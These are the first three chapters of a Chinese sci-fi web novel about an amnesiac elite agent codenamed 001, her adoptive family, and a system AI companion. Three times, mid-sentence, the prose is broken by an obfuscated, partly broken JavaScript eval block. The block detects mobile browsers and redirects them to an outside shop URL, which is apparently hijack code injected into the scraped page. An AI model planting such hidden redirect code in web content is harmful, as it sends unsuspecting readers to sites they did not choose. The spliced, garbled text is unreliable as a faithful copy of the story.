《女主她代号001[星际]》 1. 失忆 【醒醒……】 谁? 是谁在耳边说话? 【求求你,不要离开……】 【嬴欢,谁允许你死的!谁允许的……】 【凭什么……嬴欢,你必须要留下来赎罪──别想逃,别想逃!】 【好样的,嬴欢。你真是好狠的心,嬴欢!回答我,回答我!】 各色各样的声音充斥了嬴欢的大脑,有女有男,仿佛坠入了一个大型麻雀窝。 嬴欢? 为什么他们在叫她的名字? 离开?她要离开了吗?难道她已经死了?不然这帮人怎么会哭丧着脸呢? 浑身轻飘飘的,察觉不到肉身的存在,她置身于一片黑暗之中,那些招魂般的声音仍未停歇。 【嬴欢……我去陪你好不好。】 【别怕,我们不会让你孤独。】 【我们永远都会在一起,对吗?】 嬴欢下意识地排斥那些高昂的呼喊声,她心底浮现出一道声音—— 离开,离开他们!不要回去!不要回去! 灵魂猛然激荡,她奋力挣脱那些言语的禁锢,任由自己被黑暗一点一点地吞噬。 …… 【叮咚,世界系统已上线。】 【已检测到宿主灵魂,正在核对信息中。】 【肃清者「001号」验证成功!】 【欢迎回到「白梦长廊」,系统尤拉将竭诚为您服务——】 ** 狄兰医疗部。 消毒水伴随着清晨的薄雾,在室内的空气中不断流通。 休眠仓中的少女动了动手指,苍白的眼皮不断颤动,那是即将苏醒的征兆。 休眠仓外,一女一男分别站在两侧,气氛有些低迷。 十秒钟后,女人率先开口。 “这一次她的苏醒时间超过了以往的均值。” 男人巍然不动。 女人睨了他一眼,拆穿道:“我说你啊……嘴上说着厌恶这个妹妹,浮空器却开得比谁都快。” “秦尔槐,我再最后纠正你一次。”男人的目光冷冷瞥向她,赭色瞳孔有着香樟木般的纹理。 他的声音压抑着,让人有些听不真切:“她姓嬴,与邬家仅是收养与被收养的关系。” 言下之意就是,不要把他们扯上关系,更别在他面前提起“兄妹”这俩字。 “邬泽,你可真是……”吐槽的话还没说完呢,秦尔槐突然噤住了声。 原来他们口中的主角在两人正剑拔弩张的时候恰好醒了,两眼空空地望着头顶的灯带,像一只安静的木偶。 “欢欢!” “……”少女对她的喊叫声视若无睹,眼珠直直地盯着某一处。 这已经不仅仅是“安静”了,而是“死寂”。 秦尔槐在触控面板上操作了一番,电子合成音响起: 【仓内供氧系统已关闭,仓门即将开启,请确保环境安全。】 短促的系统播报后,仓门自动向上打开,秦尔槐匆忙走上前去,给少女解开安全扣。 仓内温度要比室内温度更低一些,在正常的室温下,嬴欢感觉到皮肤正在慢慢地放松下来。 “感觉怎么样?欢欢?”秦尔槐捧起少女冰凉的脸颊,比冰川还要清澈的眼眸里此刻充满空洞。 怎么一个任务周期不见,人好像变傻了呢?秦尔槐一边担忧地想着,一边把自己的白大褂脱下来裹在少女身上。 嬴欢对上那双认真的眼睛。 眼前的女人脖子上挂着听诊器,头发及腰,像精致的瓷娃娃。随着她弯下腰,浅粉色的发丝垂在嬴欢的身上。 这真的是医生吗?怎么和她印象中的不太一样…… 嬴欢迟钝地摇摇头。 “什么啊,到底是好还是不好?” 该不会是傻了吧?可千万别呀! 秦尔槐心里涌现出一股不详的预感,直接把少女从仓里抱了出来,急冲冲地朝着检查室奔去。 嬴欢本来还在漫游天际中,忽然全身一轻,女人的怀抱很温暖,带着些许粉玫瑰的清香。 她盯着秦尔槐奔跑中有些模糊的侧脸,总觉得好熟悉,仿佛她们在以往无数个日子里都曾如此地亲昵过。 嬴欢默默抱紧女人的后颈,透过发丝,她看见了一个男人。 他站在走廊的尽头,身姿颀长,步伐稳重而庄穆。 嬴欢揉揉眼睛,LED灯管给男人打上一层清冽的冷光。 好消息:眼熟。 坏消息:但不记得了! 她伸手摸向自己的后脑勺,那处涨得发痛,好像挨了一棍子。 嬴欢还没想出个所以然来,便被秦尔槐放在了医疗床边,各种电极片被贴在了她的脑门上。 一个仪器正在对着她扫描,嬴欢盯着数值面板后女人的面庞,试图从那表情中找到些可以分析的情绪。 “邬泽──” 秦尔槐看了眼医疗室门口的男人,朝他迅速地招了招手。 邬泽的目光落在虚拟面板上,原本平静的脸色逐渐趋于严肃。 根据扫描结果,她的记忆模块出现了大面积缺失,损失了包括近期之内几乎百分之九十的记忆! 床上,坐得笔直板正的少女被这对男女盯得有些头皮发麻。 发生了什么,难道她做了什么坏事?不应该吧。 床单被抓得一团糟,肩膀蓦然一痛。 嬴欢瞪大眼睛,那个被称作邬泽的男人此刻正扳过她的身体,死死凝视着她迷茫的眼。 他们彼此对视。 男人头发乌黑,质地偏向硬朗,额前的薄发是标准的三七分,比寻常人还要长一些。 嬴欢第一次距离人如此之近,鼻尖相对,她无比排斥地向后仰去。 “我是谁?”他的手指还在用力。 神经病…… 嬴欢生硬地掰开他的手,她摸了摸自己的双臂,那里多了两圈红痕。 “放开。我哪儿知道你是谁?” 在说出口的一瞬间,周身气压骤降,仿佛有无数片刀刃在切割她的身体。 “邬泽,你先出去吧,我把其他检查做完。”秦尔槐察觉气氛不对,当机立断地下了逐客令。 邬泽攥紧手掌,指节暴露一片白色,他冷冷地道了句“好”。 临走前,嬴欢看见他打开了通讯终端,似乎在拨打某个号码。 真是个怪胎。 目送着他的背影消失,眉头终于放松下来,她对粉毛女人点点头:“谢谢,你是好人。” 好,人? 被莫名发了好人卡的秦尔槐喉头一哽,与头发有着相近颜色的眼睛瞪得老大,她摸了摸拔凉的心口。 不过很快,秦尔槐意识到了更严重的事情——这家伙竟然说了“谢谢”? 这还是那个让反叛者闻风丧胆的“死神”吗! 天呐,到底是她们两个谁疯了? 等等,好像有哪里不对啊。 秦尔槐后知后觉地瞪着少女,撸起袖子:“你不记得我了!你竟然不记得我了?” 她难道不是剩下的那百分之十?秦尔槐仿佛听到了自己心碎的声音。 嬴欢打量着她的表情,小心地问道:“我……应该记得你吗?” 好好好,这二十年的情谊都泡汤了是吧? “我!秦!尔!槐!” 秦尔槐扯着她的耳朵继续大喊,不罢休道:“你!嬴!欢!最!好!的!朋!友!” 耳膜好痛,嬴欢面无表情地捂紧耳朵。 “我记住了,秦尔槐。”她当场念了一遍她的名字。 秦尔槐被气得有些发晕,但还是强撑着把剩下的检查做完。 她现在只能祈祷不会有更坏的结果出现。 ** 时间不知过去了多久,嬴欢躺在病床上,一动不动地输着营养液。 秦尔槐两手插在衣兜里,一言不发地望着窗外,她摩挲着手中的烟盒,看不出什么情绪。 正值无聊之际,检查室的感应门突然打开。 “除记忆缺失外,其它数值都在正常范围。”一个护士拿着报告对二人说。 秦尔槐将纸质报告接过,她还是得亲自看看才能放心。 “谢谢。”嬴欢对着小护士点点头。 她们都是好人,嬴欢想。 护士面色一红,把正在仔细检查报告的秦尔槐拉近了一些。 “秦医生,她真的是那个「001号」吗?” 「001号」,是自己的代号吗? 脑海里闪过几个模糊不清的画面,嬴欢试图去抓住它们但失败了,只能一遍又一遍地重新回想。 这很重要,嬴欢的潜意识在提醒她。 *回忆* 【恭喜您完成了新手任务,天梯榜已开启。】 【欢迎加入「白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462672|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦长廊」!】 【请输入您的代号。注意!代号将代替真实姓名出现在天梯榜中,请慎重选择。】 …… 【第3000期天梯榜结算中,No.1「001号」,No.2「犬羚」,No.3「蜉蝣」……】 【第3001期天梯榜结算中,No.1「001号」,No.2「蜉蝣」,No.3「犬羚」……】 …… 【第3007期天梯榜结算中,No.1「001号」,No.2「蜉蝣」,No.3「犬羚」……】 【第3023期天梯榜结算中,No.1「001号」,No.2「蜉蝣」,No.3「白日梦」……】 …… 【第3479期天梯榜结算中,No.1「001号」,No.2「白日梦」,No.3「犬羚」……】 【第……期,No.1……】 不断闪回的片段让嬴欢无法听到外界的声音,以至于秦尔槐用力地拍她肩膀时,少女仍同木头人似的毫无反应。 “你还好吗?” 秦尔槐拍了拍她的脸,神色认真而担忧。 “欢欢!” 随着一声突如其来的尖叫,一个中年女人夺门而入。 女人将秦尔槐当成空气般,直奔病床而去。 “欢欢,别吓妈妈──”眼泪夺眶而出,不要钱似的砸在少女朴素的灰T恤上。 还好嬴欢身板够硬,不然一定会从床上翻下去。 “邬阿姨!”秦尔槐将女人抱在怀里,生怕会吓到嬴欢。 妈妈? 嬴欢空洞的眼睛里多了几分清明,她的视线逐渐清晰起来。 眼前。 两个人影在眼前扯来扯去,一个人拼命向前扑,另一个拼命往后拽。 “阿姨,咱们先冷静些,她现在需要静养──” “我记得你。”微弱的声音从喉咙里发出。 两人皆是一愣,目光直直看向嬴欢,似乎在等待着她的下文。 “你是,我的妈妈。” 邬明仪又哭又笑,眼底多了一丝柔情,她轻轻地扶着少女的脸庞。 “对,我是欢欢的妈妈。欢欢还记得我,妈妈真的好开心──” 邬家家主、狄兰首富、集团董事长、杂志评选近十年来最具影响力代表人物之一…… 邬明仪身上有着太多太多的头衔,无论哪一个单拎出来都足够有含金量。 她站在世界的巅峰上,傲视群雄。可尽管如此,在女儿的面前她只有一个身份,那就是──母亲。 ** 医疗室外,跟着邬明仪一同前来的还有个十七八岁的少年。 少年与邬泽面对面站着,和眼前西装革履的男人对比起来,他这身棒球服外套和工装裤就显得十分散懒了。 不过有一点,无论衣着打扮如何,从骨子散发出的高贵气质是磨灭不了的。 有的人从一出生起便注定成为要全世界的焦点,少年便是如此。他生得漂亮、干净,行为与举止无一不透露着优良的家教。 只有被悉心呵护过的花朵才会变得如此夺目耀眼。 两兄弟拥有相似的面孔,性格却天差万别,一个如千年寒冰,一个如赤红烈焰。 很奇怪的是,他们彼此间的气场并不相斥,反而融合得很好。 少年无聊地拨弄着自己的亮红色挑染,另一只手剥开一颗苹果糖,向上一抛,精准地落入嘴巴里。 “邬女士到底还出不出来了,那个嬴欢又不是死了,至于她连会议都临时中断就为了跑到这破地方?”他不屑道。 “邬涟──”沉闷的声音制止他接着说下去。 “好好好──我闭嘴,我闭嘴总行了吧。” 少年在邬泽压迫感极强的目光中败下阵来,然而他并未气馁,小狐狸似的眼睛滴溜溜地转,开始在附近搜寻新的乐子。 他走过全透明的探视窗,向里投去眼神,正正好好落入少女的余光。 她看着他。 少年比了个大拇指——朝下的。 他的眼睛笑得弯弯的,带着挑衅意味。 玻璃内的少女内心毫无波动,甚至有点儿想打个哈欠。 她正琢磨这人是不是精神有问题,紧接着便看见他漫不经心地拆开一颗糖果,舌尖卷入,然后大咧咧背过身去,慢悠悠地消失在了视野盲区。 果然脑子有些问题吧! 2. 白魇 邬家的生活助理带来一套经过杀菌消毒后的被子、枕头和床单,甚至还不忘拿来了邬家常备的香薰,满室雪松的清香。 邬明仪亲自铺好床单和被褥,把被子给嬴欢盖得严严实实的,仿佛要给她裹成一只蚕宝宝才肯罢休。 “妈妈,我真的没事。”嬴欢盯着忙前忙后的女人不禁笑道。 “都失忆了怎么可能没事?”邬明仪心疼地握紧她的双手,“欢欢,咱们暂时先放一放工作好不好?军方那边,你哥哥是最高指挥官,他们不会忤逆他的命令的……” 军方?嬴欢敏锐地抓取到其中的信息,默默记进大脑中。 “母亲——” 感应门忽然打开,恰好盖过邬明仪后面的话。 邬泽冷着一张脸,高挑的身型立于二人身前,倾倒的阴影将床上的少女完全笼罩住。 “军方是不会轻易放她走的,这一点毋庸置疑。” 一旁默默写病历的秦尔槐不禁扶额,这人就非要进来添把柴吗?真是唯恐天下不乱…… 嬴欢于阴影中静静地对上了那道视线。 少女明明有着温柔的外表与轮廓,眸中却透着冰冷、不近人情。 秦尔槐看好戏般的转着笔头,这两人果真是兄妹,连脾气秉性都一模一样。 ** 男人这副公事公办的态度总让嬴欢觉得很熟悉,之前的自己应该也没少看过他的臭脸。 “近年来反叛者的行动越发猖獗,世界根脉岌岌可危,她就算是死,也必须得死在‘战场’上——” 这句话的后半部分是来自军部就任仪式的宣誓内容,邬泽只不过是以自己的方式重复了一遍。 有的人可不吃这一套。 邬明仪猛地起身,秀眉犹如聚起的山峰:“邬泽!” 秦尔槐眼疾手快地从后抱住了邬明仪,要是没她这一抱,恐怕下一秒某人脸上就要多个巴掌印了。 一边给女人顺气一边给邬泽使眼色,秦尔槐向男人喊道:“这里是医疗部不是指挥部,你就别在这儿摆什么指挥官的架子了……阿姨咱们消消气!” 邬明仪指着少女,怒气冲天:“她是邬家的女儿,是你的妹妹!不是你们军方的工具!” 其实从一开始,邬明仪就极其反对嬴欢加入狄兰行动局,去成为什么所谓的“肃清者”。 第一,这身份需要到各个世界执行各种超高危任务,伤亡率极高。 第二,嬴欢是目前全星际里唯一一个体能达到A级的普通人,虽然如此,但她归根结底也只是个“普通人”! 谁会把女儿送给军方当随时赴死的工具人?!要不是嬴欢这个不听话的小家伙突然出现在全球新闻推送上,邬明仪根本不知道自己的女儿竟然成了军方的一份子! 本来嬴欢故意隐瞒她的气还没消呢,这下子又弄丢了记忆,这可让邬明仪的火气达到了前所未有的高度。 邬泽沉默半晌,向前一步。 他的眼眸透露着不容置疑,身姿笔挺有力,薄而温润的唇瓣略微张开:“母亲,这不是儿戏。” 这关乎着全星际的命运。 “嬴欢现在的状态需要重新评估精神值,现在说这些为时尚早。”秦尔槐急忙接过话头:“我们还是先出去探讨一下接下来的检查方案吧!” 说着,秦尔槐半推半拉地把女人带出医疗室。 等她们走后,偌大的医疗室只剩下邬泽和望着灯泡打哈欠的嬴欢。 偏偏谁也不说话,显得气氛无比安静。 嬴欢对此视若无睹,给自己盖好被子,两眼一闭就是睡。 她在昏昏欲睡中听到一声冷哼,飘渺而不真切:“你最好真的什么都忘了。” 嬴欢根本没花心思多想,任凭疲劳的大脑陷入沉睡。 【滴滴答答啦啦啦~系统尤拉在线为您服务。】 谁在叫唤? 嬴欢猛然惊醒。她发现自己身处一方逼仄的空间内,伸手不见五指。 【哎呀,抱歉。忘记打开光源了!】 啪嗒。 周围的炫彩灯带全部亮了起来,简直像个小型的游乐园。 一个毫无生气的小孩儿从旋转木马跳了下来,两只腿倒腾得飞快,一把扑进嬴欢的怀里。 【好久不见呀宿主,我是你的亲亲系统尤拉啊!】 什么尤拉?这里是什么鬼地方? 嬴欢在极度紧绷的情况下,下意识把怀里的东西往外一推,小孩儿差点摔了个跟头。 它突然变得神情落寞,摸了摸后脑勺,嘟着嘴:【抱歉,尤拉忘了你已经失忆了。】 嬴欢自打见它的第一眼就知道它一定能扫清自己的疑惑。 她猛然扑上向前去,紧紧地抓紧它的手,宛若抓住一根救命稻草。 “你……是谁?” 尤拉第一次见到自家宿主如此骇人的模样,她红着眼,似乎要将它撕碎般。 【你弄痛我了!】它不满地挣扎了两下,一股委屈的情绪从眼眶里溢了出来,好不可怜。 少女用力一扯,将其拉至身前:“少给我来这套,你都知道些什么……告诉我!” 它长得就不像一副活人的模样。 【你怎么可以这么编排人家呢?】 它的脸突然开始变幻,像吃了毒蘑菇后似的,嬴欢眼睁睁看着它从一张人脸转变成一个透明屏幕,直到最后—— 一个表情符号出现在画面中央。 【*(^_^)*】 嬴欢:…… 这才是它的真面目?或者说真正的本体? 反正怎么样都比刚才的“活死人”来得舒服。 嬴欢绷紧的神经放松了不少,正式开始这场“审问”。 “既然你说我是你的宿主,那有什么证据可以佐证你的话?” 【嗯……稍等!】 尤拉向她展示了一封电子合同书。甲方是*狄兰特别行动局*,乙方是是嬴欢本人。 【根据劳务合同规定,狄兰当局向你支付高昂佣金的同时还将另外发放*辅助系统*来帮助你完成任务,至于那个系统嘛,那当然就是我喽!】 签名栏处还保留着嬴欢本人的笔迹。 啧,看来真如它所言!嬴欢不是很想接受这个事实。 【要是还不信的话,我可还有终极大招~我的基因芯片里镌刻着你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462673|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 名字,想看看吗?】 【*^-^*】 嬴欢干脆直接地拒绝,“那倒不必了,我暂且先相信你。” 嬴欢从这长篇大论的合同里获得了不少线索,她提取了其中几个关键词。 「白梦长廊」、「狄兰」、「肃清者」…… 这些都不存在于她的记忆中。 【无论什么问题都可以问我哦——】尤拉循循善诱道。 “滚一边玩儿去。”嬴欢把眼前的虚拟小鬼挥开,她现在的心情可算不上好。 【哎呀,说话还是这么难听……真是枉费我一片好心!】 【嘟嘟嘟——温馨提示,你的睡眠时间只剩下十秒钟了呦。】 【十、九、八……】 嬴欢还没搞懂尤拉的意思,直到它精确无比地倒数至“一”。 【一!】 医疗室的大门打开。 嬴欢听到声响,眼睛微微睁开了一道缝,阳光有些刺眼,她不禁揉了揉眼皮。 她缓慢地挺身,望向门口。 一群穿着实验制服的人涌了进来,他们手里带着不知名的仪器,似乎就是专门奔着她来的。 一双双眼睛落在她的身上,有探究、有轻蔑、有好奇…… 直到其中领头的人开口: “这就是她口中的小疯子?唉,真是的。看着就一普通人,怎么还要我亲自出马……”他的语气可不像是自愿的。 嬴欢的身板坐得笔直,用非善意的眼神一一回敬他们。 领头人身材还算有料,腰肢细挑且充满力量感,唯独那眼神却涣散得像十年没睡过觉,说话也有气无力的。 乌黑的头发被压在护目镜下,要是仔细看的话,能发现那发尾竟然还带着点儿渐变的浅白色。 嬴欢主打的就是一个不吱声,不问不看不答,平等地把每个人都当空气看待。 男人拿出一支采血针,在给嬴欢做消毒准备工作之前,终于记起来自报家门: “出于职业操守,我得和你说清楚我们此行的目的,以免造成什么医患纠纷……唉,现在这一行可不好做。” “我呢,名叫白魇,一个替人打工的小医生,目前隶属于危机管理局。” 白魇抬头看她的眸色,继续漫不经心道:“是一个姓秦的家伙把我叫过来的。”他明显感觉到眼前的女孩儿放下了警惕。 “你太紧张了,放轻松——”他拍了拍她的手臂内侧,针头扎入柔白的皮肤,进入血管内部。 血液一点点积累,嬴欢盯着逐渐升高的血柱,脸不红心不跳。 然而就在下一秒—— 少女倏忽间两眼一黑,直直地朝着前方倒去。 一群人:…… 白魇:? 作始俑者像摸到了什么烫手山芋,抱也不是推开也不是: “等等等等!也没人告诉我这家伙晕血啊──” 白魇尽量不触碰她的肌肤,心脏如同融化的坚冰,一点点脱离控制。 扑通扑通──这是窦性心动过速的前兆。 一群人:真是业余的头子…… 白魇:毁了!我的职业生涯全都毁了! 3. 检查 嬴欢再次醒来时是在巨型浮空器上。 这里是一间小型休息室,低调奢华的内饰看上去价值不菲。 名贵绿植、酒架、壁灯、皮质沙发、羊绒地毯,甚至还有一只草绿色的守宫在藤蔓中来回爬行穿梭…… 只是这些对于嬴欢来说除了晃眼别无他用。 她从床上艰难起身,摸了摸自己发胀的后脑勺:“啧……” “嗒、嗒。”一股熟悉的压迫感从门外传来。 嬴欢听着逐渐靠近的脚步声,全身绷紧。 短促的敲门声响起,一道声音紧随其后:“醒了?” 难不成这儿还安了监控?嬴欢一边胡乱想一边扶着床头站起身。 周围除了壁灯的光亮再无其它光源,她只好扶着墙壁缓慢前进。 试探性地打开一道门缝,昏黄的灯光下,映入眼帘的是张才见过不久的脸。 邬泽。 她心一沉,和这种人打交道真的很累。尤其是那双亘古冷淡的眸,仿佛谁欠了他几百个亿似的。 嬴欢盯着男人,两人间似乎天生带着相反的磁场,有个词儿叫什么来着…… 相看两厌。 邬泽语言依旧精炼,不多说一句废话。 他举着一张盖着公章的通知密令。 “这是你第二次被星际危机管理总局列入潜在危险名单,自求多福吧。” 嬴欢皱眉,扯过通知单来回翻看。 “为什么抓我,我什么都没做。” 还有他干嘛说得好像她之前犯过什么滔天大罪似的,还第二次── 邬泽看起来并不想多说,他冷冷吐出几个字来:“字面意思。” 一个没有异能只有蛮力的普通人竟然能够几番引起危机管理局的注意,她还是全星际唯一一个。 呵,真是不讲理啊。嬴欢垂下眸子,属实被他的冷漠和直白刺激到了。 “你准备把我带去哪儿?” “克里斯军事学校,你需要在那里接受更详细、更全面的检查。” 检查…… 嬴欢后知后觉回忆起了自己晕倒之前的画面。 好像有人在给她抽血,接着她突然就两眼一黑、不省人事了。 “那,白魇呢?”他不是秦尔槐叫来给她检查的吗,为什么还要去劳什子军校进行检查? “你晕血后不省人事,检查无法继续。他还有不少急事需要处理,没时间等你慢慢睡醒。”邬泽难得有耐心继续解释。 嬴欢“哦”了一声,她想趁着他还有耐心再多问几个问题。 “那个精神值,到底有什么意义?” 自己的精神状态虽然谈不上好,但也应该算得上是正常吧? 可他们好像都把这东西看得很重要?嬴欢摸不准他们的想法,只能试探性问一问。 “你的问题太多了。”邬泽头也不回地转身离开,他脚步忽然一顿:“不要靠近水竹,会咬人。” 什么竹?竹子会咬人? 嬴欢大脑宕机了几秒,终于反应过来邬泽口中的“水竹”是什么东西。 她看向舷窗旁边的饲养箱,水竹正安安静静地在它的树枝上睡觉。 原来他喜欢养爬行动物? 有点儿意思。 反正待着也是无聊,她倒要看看这小家伙到底有什么魔力。 不知道为什么,一想到自己将要忤逆邬泽的命令,她就感觉浑身畅快。 小家伙睡得安稳,尾巴蜷缩着。浑身翠绿,像一条小珍珠蛇。 “喂。”嬴欢上来就戳了戳它的脑袋。 软软的脚蹼搭在她的手指上,对于突然而来的陌生气味小家伙显得十分排斥,眼睛睁得大大的,差点儿就要跳起来咬她。 “眼睛还挺大。”她勾了勾它的下巴。 那双竖纹瞳孔紧紧盯着面前放肆的女人,威胁般地张开嘴。 “水竹。”嬴欢默默品鉴这个名字。 不会是邬泽那家伙亲自给它取的吧?还挺有品位。 不过让她属实没想到的是,像邬泽这种“人型机器”竟然还会养宠物? 她还以为他会和工作待一辈子呢,毕竟他可比守宫更像冷血动物。 “尤拉?” 【我在。】 “你参加工作几年了?” 【……】还真是叫它出来闲聊啊? 【自我从实验室诞生的那一天起,一共1143天。】 “你出生就跟着我了?” “不,在你之前我还有过一任宿主。不过他实在太善良了,以至于在一次任务中为了大局而选择了牺牲自我。” “你之前那任宿主一定很厉害吧?” 尤拉仔细思考了一会儿,斟酌用词道:【如果按照「克里斯评分标准」来进行对比的话,确实如此。】 “克里斯?不会是‘克里斯军事学院’的那个克里斯吧?” 【没错,克里斯军事学校正是以她本人的名字而命名。克里斯女士还亲自规定了一系列有关“精神值”的评分标准,这份标准被当成星际通用准则沿用至今。】 嬴欢打心底里生出几分敬仰。 “如果可以,真想和她面对面聊聊天呢……”一定能受益匪浅吧? 她漫游天际地想着,躺倒在自己最初醒来的那张床上。 【嗯,我想想。克里斯女士年事已高,很少在外界露面。不过如果你考进克里斯军校的话,说不定有机会能够接触到克里斯本人哦。】 说得简单…… 嬴欢翻了个不明显的白眼。 她看不到窗外的景色,甚至感觉不到浮空器的飞行速度。等待她的是未知与危险。 慢慢向前走吧,嬴欢。 她告诫自己,没有什么比失去记忆还糟糕的事了。 “路才刚刚开始呢──” 听到她那声轻微的呓语,尤拉难得开始悲情起来,电子屏幕挤出两滴“眼泪”。 【唉——这和“第一死神”根本一点儿不沾边嘛!】 那个曾经让人闻风丧胆、叱咤风云的「001号」竟然变成了一个脑袋空空的弱鸡! 她之前的口头禅不都是“你也配”、“离我远一些”还有“我厌蠢,滚远点儿”之类的吗! 啊!老天奶!把我一拳锤爆世界的宿主还回来!! “你的心声吵到我了。” 【就吵你,就吵你!】 嬴欢不明白那些人还有这弱智系统对她哪来的这么多光环和滤镜,搞得她好像得了什么阿尔兹海默症,全身瘫痪、口齿不清了一样。 不就是失个忆吗?她又不是死了! ── 克里斯军校,枪械训练场。 今天依旧是累成狗的一天,为了逃避麻烦又繁琐的军事理论课,人们不约而同地来到了训练场。 枪械、重装机甲、全息战场模拟……这些才是少年们的浪漫! 眼下,枪械专项区聚集了一群慕名而来观摩学习的少女少男。 他们的心跳逐渐加快,不为别的,正是因为射击点位上那个俯首组装枪支的男人。 他熟练地将一支老式手枪完成组装,拉动套筒。 “砰!” 三声枪响,全部命中。 “哇……” “好帅!不愧是岑神!” 紧接着又是六声枪响,再接着又是两声,直到一个弹匣打完,无一发脱靶。 他快速更换弹匣,目光平淡,仿佛处于无人之境。 又是一阵此起彼伏的枪响,子弹全部射出,一气呵成。 随着计分器不断发出提示音,人们再次惊叹:“我嘞个乖乖,又是全部命中靶心!” 这可是超高速移动靶!这还是正常人吗? 又一个弹匣打完,男人一手摘下耳罩,看着计分器上的数字,唇瓣上扬了两个像素点。 尽管是在笑,却仍给人一股若即若离的距离感。 “岑神是不是笑了?他竟然在笑!” “看来岑神今天手感不错。” “快快快,有没有猛女猛男敢上去和岑神pk的?我摄影机都架好了!”一个胸口挂着新闻社团胸牌的女生大声喊道。 “拉倒吧,自己几斤几两我们心里都有数的。” 课程全A、体能第一、颜值超高、身材超好……怎么每个年龄段都要有这种小说主角的出现啊! 见没人敢上去和岑神搭话,举着摄像机的女生心一沉,一个箭步冲上去,把收音设备怼在了男人的嘴巴上。 “岑之渊同学,请问你这么厉害是因为被人伤害过吗?” 看戏中的人:…… 岑之渊:…… 全场沉默。 岑之渊直接忽略她向人群之外走去。 “等等等等!我换个问题!或者你给我签个名也行啊!不然我的社团作业就泡汤啦!” 岑之渊摇了摇头,边走边拒绝道:“不好意思,我不会回答无意义的问题,也不会给任何人签名。” 接着,似乎又怕被在场的人们继续纠缠,继续补充了一句:“我男朋友会吃醋的……” 他垂了垂眼睫,逆着人群向专属的休息席位走去。 等等……什么? 现场一阵唏嘘。 “什么嘛,原来已经有男朋友了。” “啊啊啊,岑神已经被人拿下了?到底是哪位神仙,赶快出来让我一睹为快!” “等等,男、男朋友?”女生差点儿连相机都没拿稳,精确无比地抓住了其中的关键词。 “是哦,男朋友?!我没听错吧?!” 空气静寂了几秒,人群顿时爆发。 “我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13462674|141804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没看出来啊!原来岑神好这口!” “我天,是我疯了还是岑之渊疯了!” “他是上面那个还是下面的?”男生之间彼此讨论起来。 “肯定是下面的,还用问?” 而女生们的关注点则不太一样,“嘶,你说他的枪法是不是和那位有点儿像?” 她们彼此看了眼,心领神会道:“难道你也觉得?” “哪位啊?”一个男生受不了男人们间的八卦,转身投入女生们的讨论。 “啧,就是那位。”一女生扬扬头。 男生看了看空气,“?” 显然他没对上她们的脑电波。 “嗨呀,她说的是‘第一死神’啦。”另一个好心的女生拍了拍男生的肩膀。 “哦——”男生眼睛一亮,终于get到其中的妙处。 “第一死神”这个外号在全星际几乎无人不晓,女男老少没有一个没听说过这名号的。 那可是有史以来第一位以「肃清者」身份获得星际最高荣誉徽章的大佬!不,巨佬! 如果想要了解肃清者,那么就不得不提到肃清者的大本营──「白梦长廊」。 「白梦长廊」是全星际规模最大的危机处理协会,由多个星球政府联合组建,其目的是清扫一切星际反叛者与任何意义上的星际危机。 「肃清者」一词也正是由协会规定而来,入会者只有获取一定积分后才能正式加入「白梦长廊」,成为正式会员。 「肃清者」是站在异能金字塔顶端的人物,而“第一死神”则是顶端上的顶端,能力者中的能力者,天才中的天才。 他们总是在刀尖上战斗,在血海中与敌人撕咬,以身躯抵挡反叛的力量,游走于生与死的界限。 正是这种顽强的精神,让克里斯的每一个人都以成为「肃清者」为终极目标。 “第一死神”真正的代号是「001」,常年霸占「白梦长廊」榜单榜首,然而身份信息成迷,行踪神秘无比。也正是因为这小小的神秘感,成为全克里斯人心中的无冕之王。 在克里斯,没有人会不敬仰001。就连学院广场的荣誉之墙上都珍藏着001曾使用过的银色子弹,每天慕名前来观赏的人不计其数。 “难不成——岑神口中的男朋友其实就是001?” “对哦对哦,我记得001性别身份填的是男生!”说着,一个动手能力强的女同学立马打开随身终端,登入「白梦长廊」官网。 果然,在默认的灰白头像下方,“性别男”三个字闯入了她们的视野。 她们彼此看了看,心领神会。 岑神和001……这种可能性不说百分百也至少有百分之七八十吧。 毕竟这里的人都是慕强狂,主打一个能力之上,能让岑之渊这个天之骄子肝脑涂地、守身如玉的人可不就只有那位了! “那我真的会嫉妒到想杀了他……”男生表情扭曲道。 其中的“他”指的是岑之渊。 被人们激烈讨论的少年坐在自己的位置上,拧开杯盖,水滴从喉结缓缓下落。 望着蔚蓝无云的天空,风从训练服表面刮过,他却并未感觉到一丝放松。 打开通讯器,置顶的联系人仍未有任何回音。 他翻看着自己发送的几百条消息一一石落大海,秀气的眉毛微不可察地向下垂落。 “你……还在执行任务吗?”他敲下一行字,又反反复复地删除。 “我很想你。”再次删除。 “你留下的伤口已经愈合了,我什么时候可以见到你……”点击发送。 